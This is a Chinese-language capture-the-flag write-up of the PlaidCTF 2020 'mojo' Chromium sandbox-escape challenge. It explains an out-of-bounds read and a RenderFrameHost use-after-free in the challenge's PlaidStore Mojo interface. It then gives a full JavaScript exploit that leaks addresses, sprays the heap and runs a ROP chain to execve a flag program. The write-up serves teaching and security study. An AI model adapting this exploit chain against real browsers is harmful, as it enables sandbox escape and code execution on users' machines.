Plaid CTF 2020 mojo 复现 - chromium sandbox escape

 

Plaid ctf 2020 的一道 chromium sandbox escape 题目,比较基础,适合入门, 题目文件可以在这里 下载, exp 参考来自这里

 

漏洞分析

题目写了一个plaidstore.mojom 文件,定义了PlaidStore接口,有StoreDataGetData 两个函数

--- /dev/null
+++ b/third_party/blink/public/mojom/plaidstore/plaidstore.mojom
@@ -0,0 +1,11 @@
+module blink.mojom;
+
+// This interface provides a data store
+interface PlaidStore {
+
+  // Stores data in the data store
+  StoreData(string key, array<uint8> data);
+
+  // Gets data from the data store
+  GetData(string key, uint32 count) => (array<uint8> data);
+};

可以用下面方式调用到这两个函数

p = blink.mojom.PlaidStore.getRemote(true);
p.storeData("aaaa",new Uint8Array(0x10));
p.getData("aaaa",0x200))

PlaidStoreImpl 有两个成员, render_frame_host_ 保存当前的 RenderFrameHost , 它用来描述网页本身,data_store_用来存放数据。

+class PlaidStoreImpl : public blink::mojom::PlaidStore {
    ...
+ private:
+  RenderFrameHost* render_frame_host_;
+  std::map<std::string, std::vector<uint8_t> > data_store_;
+};

PlaidStoreImpl::StoreData 存入传入的data,这里data 是 uint8_t 类型,data_store_ 是一个 vector 会自动给对应的key申请内存

+void PlaidStoreImpl::StoreData(
+    const std::string &key,
+    const std::vector<uint8_t> &data) {
+  if (!render_frame_host_->IsRenderFrameLive()) {
+    return;
+  }
+  data_store_[key] = data;
+}
+

PlaidStoreImpl::GetData 有两个参数,count 表示要返回的数量,如果调用p.getData("aaaa",0x200));, 这个时候itkey == "aaaa" 的时候保存的数据,结果会返回index在 [0,0x200) 返回的数据, 这里并没有对count做检查,假如执行 p.storeData("aaaa",new Uint8Array(0x100));p.getData("aaaa",0x200)), 可以成功返回数据,于是这里就有了一个越界读,可以用来泄露数据。

+void PlaidStoreImpl::GetData(
+    const std::string &key,
+    uint32_t count,
+    GetDataCallback callback) {
+  if (!render_frame_host_->IsRenderFrameLive()) {
+    std::move(callback).Run({});
+    return;
+  }
+  auto it = data_store_.find(key);
+  if (it == data_store_.end()) {
+    std::move(callback).Run({});
+    return;
+  }
    //[1]
+  std::vector<uint8_t> result(it->second.begin(), it->second.begin() + count);
+  std::move(callback).Run(result);
+}

两个函数开头的处都会检查render_frame_host_->IsRenderFrameLive(), 但是并没有检查render_frame_host_ 是否可用,我们可以创建一个iframe ,内部执行 p = blink.mojom.PlaidStore.getRemote(true); 并返回给 parent, 然后删除这个iframe,这个时候render_frame_host_ 被释放了,但是仍可以调用p.getDatap.storeData

于是可以进行堆喷获取到被释放的render_frame_host_ , 改写其函数指针,然后在执行render_frame_host_->IsRenderFrameLive() 的时候就可以劫持控制流。

 

漏洞利用

通过前面的分析,现在有了地址泄露和uaf,后续的基本利用流程如下

  • 1 泄露出 chrome 的基地址 => 获取gadget
  • 2 添加iframe, 返回render_frame_host_ 的地址和 p
  • 3 删除 iframe, 堆喷改写iframerender_frame_host_ ,写入gadget 代码执行

接下来一个一个看

调试

题目给出了Dockerfile 可以直接搞个Docker 来调试,这里我在ubuntu1804下, 执行./chrome --disable-gpu --remote-debugging-port=1338 --enable-blink-features=MojoJS,MojoJSTest 运行chrome, 然后gdb attach 即可, 因为这里是调试 mojo代码,我们attach browser进程(第一个)

编写 exp, mojo_js.zip 解压到www 目录下, 这里我的exp 写在www/poc/e2xp.html 里面, 包含好对应的js,然后启动web服务器就可以访问了

<!DOCTYPE html>
<html>
    <head>
        <style>
            body {
              font-family: monospace;
            }
        </style>
    </head>
    <body>
        <script src="../mojo/public/js/mojo_bindings_lite.js"></script>
        <script src="../third_party/blink/public/mojom/plaidstore/plaidstore.mojom-lite.js"></script>
        <script>
        </script>
    </body>
</html>

泄露 chrome 基地址

PlaidStore 对象创建的时候会分配内存, 可以想下面这样找函数的地址

chrome$ nm --demangle  ./chrome |grep -i 'PlaidStoreImpl::Create'
0000000003c58490 t content::PlaidStoreImpl::Create(content::RenderFrameHost*, mojo::PendingReceiver<blink::mojom::PlaidStore>)

gdb 下查看 content::PlaidStoreImpl::Create 代码如下

push   rbp
mov    rbp,rsp
push   r15
push   r14
push   rbx
sub    rsp,0x38
mov    r14,rsi
mov    rbx,rdi
// PlaidStore 对象分配内存 ==> buffer64
mov    edi,0x28
call   0x55555ac584b0 <operator new(unsigned long, std::nothrow_t const&)>
// rcx == vtable
lea    rcx,[rip+0x635e2ec]        # 0x55555f50a7a0 <vtable for content::PlaidStoreImpl+16>
// buffer64[0] =  vtable
mov    QWORD PTR [rax],rcx
// buffer64[1] =  render_frame_host_
mov    QWORD PTR [rax+0x8],rbx
lea    rcx,[rax+0x18]
xorps  xmm0,xmm0
movups XMMWORD PTR [rax+0x18],xmm0

所以如果执行

p.storeData("aaaa",Uint8Array(0x28));
blink.mojom.PlaidStore.getRemote(true)

那么Uint8Array 的backing store 和 PlaidStore对象很有可能会连续分配,多次执行上面代码,只要两者内存连续分配的手,就可以通过p.getData 泄露出vtablerender_frame_host_ 的地址,通过vtable 即可计算出 chrome 的基地址。

内存泄露的代码如下

function show(msg){
    document.body.innerHTML+=msg+"<br>";
}
async function main(){
    var stores = [];
    let p = blink.mojom.PlaidStore.getRemote(true); 

    for(let i=0;i<0x40;i++){
        tmp=new Uint8Array(0x28);
        tmp[0]=i;
        tmp[1]=0x13;
        tmp[2]=0x37;
        tmp[3]=0x13;
        tmp[4]=0x37;
        tmp[5]=0x13;
        tmp[6]=0x37;
        tmp[7]=0x13;
        await p.storeData("yeet"+i,tmp);
        stores[i] = blink.mojom.PlaidStore.getRemote(true)
    }
    let chromeBase = 0;
    let renderFrameHost = 0;
    for(let i = 0;i<0x40&&chromeBase==0;i++){
        let d = (await p.getData("yeet"+i,0x200)).data;
        let u8 = new Uint8Array(d)
        let u64 = new BigInt64Array(u8.buffer);
        for(let j = 5;j<u64.length;j++){
            let l = u64[j]&BigInt(0xf00000000000)
            let h = u64[j]&BigInt(0x000000000fff)
            if((l==BigInt(0x500000000000))&&h==BigInt(0x7a0)){
                show(i.toString(16)+' '+j+' 0x'+u64[j].toString(16));

                chromeBase = u64[j]-BigInt(0x9fb67a0);
                renderFrameHost = u64[j+1];
                break;
            }
        }
    }
    show("ChromeBase: 0x"+chromeBase.toString(16));
    show("renderFrameHost: 0x"+renderFrameHost.toString(16));
    return 0 ;
}
main();

执行后效果如图

构造 uaf

接下来是构造uaf , 首先是var frame = document.createElement("iframe"); 创建一个 iframe, 然后frame.srcdoc 写入代码, 具体参考最后完整exp, 代码和前面 泄露地址一样,把iframe 里面的 render_frame_host_ 地址泄露出来,然后把PlaidStore 对象和iframerender_frame_host_ 地址传递给 parentparent 执行document.body.removeChild(frame) 释放 iframe ,接下来堆喷尝试重新拿到被释放的render_frame_host_ 的内存

RenderFrameHost 对象使用content::RenderFrameHostFactory::Create() 函数创建

chrome$ nm --demangle  ./chrome |grep -i 'content::RenderFrameHostFactory::Create'  
0000000003b219e0 t content::RenderFrameHostFactory::Create(content::SiteInstance*, scoped_refptr<content::RenderViewHostImpl>, content::RenderFrameHostDelegate*, content::FrameTree*, content::FrameTreeNode*, int, int, bool)

对应的代码如下,RenderFrameHost 对象的大小是0xc28, 所以只需要喷一堆0xc28 大小的 ArrayBuffer 就有可能重新拿到被释放的对象

   0x0000555559075a50 <+112>:   jmp    0x555559075aca <content::RenderFrameHostFactory::Create(content::SiteInstance*, scoped_refptr<content::RenderViewHostImpl>, content::RenderFrameHostDelegate*, content::Fram
eTree*, content::FrameTreeNode*, int, int, bool)+234>
// new(0xc28) 
   0x0000555559075a52 <+114>:   mov    edi,0xc28
   0x0000555559075a57 <+119>:   call   0x55555ac584b0 <operator new(unsigned long, std::nothrow_t const&)>
   0x0000555559075a5c <+124>:   mov    rdi,rax
   0x0000555559075a5f <+127>:   mov    rax,QWORD PTR [r14]
   0x0000555559075a62 <+130>:   mov    QWORD PTR [rbp-0x38],rax
   0x0000555559075a66 <+134>:   mov    QWORD PTR [r14],0x0
   0x0000555559075a6d <+141>:   sub    rsp,0x8
   0x0000555559075a71 <+145>:   movzx  eax,BYTE PTR [rbp+0x20]
   0x0000555559075a75 <+149>:   lea    rdx,[rbp-0x38]
   0x0000555559075a79 <+153>:   mov    r14,rdi
   0x0000555559075a7c <+156>:   mov    rsi,rbx
   0x0000555559075a7f <+159>:   mov    rcx,r13
   0x0000555559075a82 <+162>:   mov    r8,r12
   0x0000555559075a85 <+165>:   mov    r9,r15

rop 代码执行

查看GetData 函数的汇编代码

0000000003c582b0 t content::PlaidStoreImpl::GetData(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, unsigned int, base::OnceCallback<void (std::__1::vector<unsigned char, std::__1::allocator<unsigned char> > const&)>)

调用IsRenderFrameLive基调用 vtable + 0x160 的位置, rax 保存 vtable 的值

   0x00005555591ac2c7 <+23>:    mov    r14,rsi              
   0x00005555591ac2ca <+26>:    mov    rbx,rdi                        
   0x00005555591ac2cd <+29>:    mov    rdi,QWORD PTR [rdi+0x8]// rdi == render_frame_host_   
   0x00005555591ac2d1 <+33>:    mov    rax,QWORD PTR [rdi] // rax ==> vtable 
   0x00005555591ac2d4 <+36>:    call   QWORD PTR [rax+0x160]  // vtable+0x160 ==> IsRenderFrameLive

我们可以构造下面的内存布局

frame_addr =>   [0x00] : vtable  ==> frame_addr + 0x10  ---
                [0x08] : gadget => pop rdi                 |
            /-- [0x10] : frame_addr + 0x180 <-----------------------
            |   [0x18] : gadget => pop rax                          |
            |   [0x20] : gadget => SYS_execve                       | vtable+0x10   
            |   [0x28] : gadget => xor rsi, rsi; pop rbp; jmp rax   |
            |   ...                                                 V
            |   [0x160 + 0x10] : xchg rax, rsp    <= isRenderFrameLive
            |   [0x160 + 0x18] : 
            -> [0x180 ... ] : "/home/chrome/flag_printer"

这里将vtable -> isRenderFrameLive 处改成xchg rax, rsp , 因为 rax 保存vtable 的地址, 所以rsp 变成了frame_addr + 0x10 的地址,继续执行,最终相当于执行 拿到flag

execve("/home/chrome/flag_printer",rsi,env);

完整exp

完整exp如下

<!DOCTYPE html>
<html>
    <head>
        <style>
            body {
              font-family: monospace;
            }
        </style>
    </head>
    <body>
        <script src="../mojo/public/js/mojo_bindings_lite.js"></script>
        <script src="../third_party/blink/public/mojom/plaidstore/plaidstore.mojom-lite.js"></script>
        <script>
function show(msg){
    document.body.innerHTML+=msg+"<br>";
}
async function main(){
    var stores = [];
    let p = blink.mojom.PlaidStore.getRemote(true); 

    for(let i=0;i<0x40;i++){
        tmp=new Uint8Array(0x28);
        tmp[0]=i;
        tmp[1]=0x13;
        tmp[2]=0x37;
        tmp[3]=0x13;
        tmp[4]=0x37;
        tmp[5]=0x13;
        tmp[6]=0x37;
        tmp[7]=0x13;
        await p.storeData("yeet"+i,tmp);
        stores[i] = blink.mojom.PlaidStore.getRemote(true)
    }
    let chromeBase = 0;
    let renderFrameHost = 0;
    for(let i = 0;i<0x40&&chromeBase==0;i++){
        let d = (await p.getData("yeet"+i,0x200)).data;
        let u8 = new Uint8Array(d)
        let u64 = new BigInt64Array(u8.buffer);
        for(let j = 5;j<u64.length;j++){
            let l = u64[j]&BigInt(0xf00000000000)
            let h = u64[j]&BigInt(0x000000000fff)
            if((l==BigInt(0x500000000000))&&h==BigInt(0x7a0)){
                show(i.toString(16)+' '+j+' 0x'+u64[j].toString(16));

                chromeBase = u64[j]-BigInt(0x9fb67a0);
                renderFrameHost = u64[j+1];
                break;
            }
        }
    }
    show("ChromeBase: 0x"+chromeBase.toString(16));
    show("renderFrameHost: 0x"+renderFrameHost.toString(16));

    const kRenderFrameHostSize = 0xc28;

    var frameData = new ArrayBuffer(kRenderFrameHostSize);
    var frameData8 = new Uint8Array(frameData).fill(0x0);
    var frameDataView = new DataView(frameData)    
    var ropChainView = new BigInt64Array(frameData,0x10);
    frameDataView.setBigInt64(0x160+0x10,chromeBase + 0x880dee8n,true); //xchg rax, rsp 
    frameDataView.setBigInt64(0x180, 0x2f686f6d652f6368n,false);
    frameDataView.setBigInt64(0x188, 0x726f6d652f666c61n,false);
    frameDataView.setBigInt64(0x190, 0x675f7072696e7465n,false);// /home/chrome/flag_printer; big-endian
    frameDataView.setBigInt64(0x198, 0x7200000000000000n,false);// /home/chrome/flag_printer; big-endian
    ropChainView[0] = 0xdeadbeefn; // RIP rbp :<
    ropChainView[1] = chromeBase + 0x2e4630fn; //pop rdi;
    ropChainView[2] = 0x4141414141414141n; // frameaddr+0x180
    ropChainView[3] = chromeBase + 0x2e651ddn; // pop rax;
    ropChainView[4] = chromeBase + 0x9efca30n; // execve@plt
    ropChainView[5] = chromeBase + 0x8d08a16n; // xor rsi, rsi; pop rbp; jmp rax
    ropChainView[6] = 0xdeadbeefn; // rbp
    //Constrait: rdx = 0; rdi pointed to ./flag_reader
    var allocateFrame = () =>{
        var frame = document.createElement("iframe");

        frame.srcdoc=`<script src="../mojo/public/js/mojo_bindings_lite.js"></script>
        <script src="../third_party/blink/public/mojom/plaidstore/plaidstore.mojom-lite.js"></script>
            <script>
              let p = blink.mojom.PlaidStore.getRemote(true);
              window.p = p;
            async function leak() {
                //Same code with the one in pwn.js
                var stores = [];
                for(let i = 0;i< 0x40; i++ ){
                    await p.storeData("yeet"+i,new Uint8Array(0x28).fill(0x41));
                    stores[i] = blink.mojom.PlaidStore.getRemote(true);
                }
                let chromeBase = 0;
                let renderFrameHost = 0;
                for(let i = 0;i<0x40&&chromeBase==0;i++){
                    let d = (await p.getData("yeet"+i,0x200)).data;
                    let u8 = new Uint8Array(d)
                    let u64 = new BigInt64Array(u8.buffer);
                    for(let j = 5;j<u64.length;j++){
                        let l = u64[j]&BigInt(0xf00000000000)
                        let h = u64[j]&BigInt(0x000000000fff)
                        if((l==BigInt(0x500000000000))&&h==BigInt(0x7a0)){
                            chromeBase = u64[j]-BigInt(0x9fb67a0);
                            renderFrameHost = u64[j+1];
                            break;
                        }
                    }
                }
                window.chromeBase = chromeBase;
                window.renderFrameHost = renderFrameHost;
                window.p = p;
                return chromeBase!=0&&renderFrameHost!=0;
            }
            </script>
        `

        frame.srcdoc=`
            <!DOCTYPE html>
            <html>
                <head>
                </head>
                <body>
                    <script src="../mojo/public/js/mojo_bindings_lite.js"></script>
                    <script src="../third_party/blink/public/mojom/plaidstore/plaidstore.mojom-lite.js"></script>
                <script>
                  var p = blink.mojom.PlaidStore.getRemote(true);
                async function leak() {
                    //Same code with the one in pwn.js
                    console.log("Starting frame leak");
                    var stores = [];
                    for(let i = 0;i< 0x40; i++ ){
                        await p.storeData("yeet"+i,new Uint8Array(0x28).fill(0x41));
                        stores[i] = blink.mojom.PlaidStore.getRemote(true);
                    }
                    let chromeBase = 0;
                    let renderFrameHost = 0;
                    for(let i = 0;i<0x40&&chromeBase==0;i++){
                        let d = (await p.getData("yeet"+i,0x200)).data;
                        let u8 = new Uint8Array(d)
                        let u64 = new BigInt64Array(u8.buffer);
                        for(let j = 5;j<u64.length;j++){
                            let l = u64[j]&BigInt(0xf00000000000)
                            let h = u64[j]&BigInt(0x000000000fff)
                            if((l==BigInt(0x500000000000))&&h==BigInt(0x7a0)){
                                chromeBase = u64[j]-BigInt(0x9fb67a0);
                                renderFrameHost = u64[j+1];
                                break;
                            }
                        }
                    }
                    window.chromeBase = chromeBase;
                    window.renderFrameHost = renderFrameHost;
                    window.p = p;
                    return chromeBase!=0&&renderFrameHost!=0;
                }
                </script>
                </body>
            </html>
            `
        document.body.appendChild(frame);
        return frame;
    }
    var frame = allocateFrame();


    frame.contentWindow.addEventListener("DOMContentLoaded",async ()=>{
        if(!(await frame.contentWindow.leak())){
            show("frame leak failed!");
            return;
        }
        if(frame.contentWindow.chromeBase!=chromeBase){
            show("different chrome base!! wtf!")
            return;
        }    
        var frameAddr = frame.contentWindow.renderFrameHost;
//        show(frameAddr.toString(16));
        frameDataView.setBigInt64(0,frameAddr+0x10n,true); //vtable/ rax


        ropChainView[2] = frameAddr + 0x180n;
        var frameStore = frame.contentWindow.p;
        document.body.removeChild(frame);
        var arr = [];
        for(let i = 0;i< 0x400;i++){
            await p.storeData("bruh"+i,frameData8);
        }
          await frameStore.getData("yeet0",0);

    });

}
main();
//document.addEventListener("DOMContentLoaded",()=>{main();});

        </script>
    </body>
</html>

 

reference

https://pwnfirstsear.ch/2020/04/20/plaidctf2020-mojo.html

https://github.com/A-0-E/writeups/tree/master/plaidctf-2020

https://gist.github.com/ujin5/5b9a2ce2ffaf8f4222fe7381f792cb38

https://trungnguyen1909.github.io/blog/post/PlaidCTF2020/

(完)